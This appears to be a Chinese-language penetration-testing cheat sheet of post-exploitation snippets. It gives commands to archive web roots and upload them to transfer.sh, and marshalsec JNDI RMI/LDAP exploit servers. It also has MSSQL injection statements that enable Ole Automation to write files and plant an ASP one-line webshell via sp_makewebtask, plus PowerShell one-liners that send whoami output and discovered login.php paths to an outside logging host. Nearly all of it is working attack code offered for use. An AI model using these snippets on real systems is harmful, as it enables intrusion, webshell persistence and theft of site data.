打包
1"C:/Program Files/7-Zip/7z.exe" a D:\upload\2020\7\13\www.zip C:\inetpub\wwwroot\ -r -x!*.zip -x!*.7z -v200m
2
3Rar.exe a -r -v500m -X*.rar -X*.zip sst.rar D:\wwwroot\sq\
4
5tar -zcvf /tmp/www.tar.gz --exclude=upload --exclude *.png --exclude *.jpg --exclude *.gif --exclude *.mp* --exclude *.flv --exclude *.m4v --exclude *.pdf --exclude *.*tf --ignore-case /www/ | split -b 100M -d -a - www.tar.gz.
6
7合并
8copy /b www.tar.z01+www.tar.z02 backup.tar.gz
9
10zip -s 100m -r -q -P password file.zip *.sql
1<?php
2function addFileToZip($path,$zip){
3 $handler=opendir($path); //打开当前文件夹由$path指定。
4 while(($filename=readdir($handler))!==false){
5 if($filename != "." && $filename != ".."){//文件夹文件名字为'.'和‘..’,不要对他们进行操作
6 if(is_dir($path."/".$filename)){// 如果读取的某个对象是文件夹,则递归
7 addFileToZip($path."/".$filename, $zip);
8 }else{ //将文件加入zip对象
9 $zip->addFile($path."/".$filename);
10 }
11 }
12 }
13 @closedir($path);
14}
15$zip=new ZipArchive();
16
17if($zip->open('/tmp/backup.zip', ZipArchive::OVERWRITE)=== TRUE){
18 addFileToZip('/www/wwwroot/', $zip); //调用方法,对要打包的根目录进行操作,并将ZipArchive的对象传递给方法
19 $zip->close(); //关闭处理的zip文件
20 echo 1;
21}
git
1git submodule update --init --recursive
2git submodule update --rebase --remote
java
1-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -DsocksProxyHost=IP -DsocksProxyPort=8010
1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099
2java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1099
网盘
1curl --silent --upload-file file.zip https://transfer.sh/file.zip >> upload.txt &
注入
MSSQL写入大文件
1-- 开启权限(开启这2个权限后才能写文件)
2-- 开启
3exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
4-- 关毕
5exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
6-- 写文件 这里@FilePath 是路径,@STR_CONTENT 是内容,整理流程是先创建在写入。t-sql读写文件
7declare @FilePath nvarchar(400),@xmlstr varchar(8000);
8Declare @INT_ERR int;
9Declare @INT_FSO int;
10Declare @INT_OPENFILE int;
11Declare @STR_CONTENT as varchar(MAX);
12DECLARE @output varchar(255);
13DECLARE @hr int;
14DECLARE @source varchar(255);
15DECLARE @description varchar(255);
16set @FilePath = 'c:/windows/tasks/111.txt';
17set @STR_CONTENT = convert(varchar(MAX),0x313233);
18EXEC @INT_ERR = sp_OACreate 'Scripting.FileSystemObject', @INT_FSO OUTPUT;
19if(@INT_ERR <> 0) BEGIN EXEC sp_OAGetErrorInfo @INT_FSO RETURN END;
20EXEC @INT_ERR=SP_OAMETHOD @INT_FSO,'CreateTextFile',@INT_OPENFILE OUTPUT,@FilePath;
21EXEC @INT_ERR=SP_OAMETHOD @INT_OPENFILE,'Write',null,@STR_CONTENT;
22EXEC @INT_ERR=SP_OADESTROY @INT_OPENFILE;
23-- 配合certutil实现exe转base64
24certutil -encode 1.exe 1.txt
25-- base64解码
26certutil -decode 1.txt 1.exe
MSSQL注入 把指定sql语句查询的东西写入文件
1exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE;
2exec sp_makewebtask 'c:\www\test.asp','select ''<%execute(request("SB"))%>'' '
3exec master..xp_cmdshell 'type c:\www\test.asp'
powershell
注入通过http带外数据
1$t= whoami;$t=[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($t));Invoke-WebRequest http://localhost/ -UseBasicParsing -Method POST -Body $t
通过powershell遍历盘符找绝对路径
1$pan=[Environment]::GetLogicalDrives()
2$pan|ForEach-Object {
3 $t=Get-ChildItem -Path $_ -Recurse -Include *.php -ErrorAction SilentlyContinue
4 $a=''
5 $t|ForEach-Object{
6 if($_.FullName.Contains('login.php')){$a=$a+$_.FullName}
7 }
8 Invoke-WebRequest -Uri "http://dnslog.cn/" -UseBasicParsing -Method Post -Body $a
9}
评论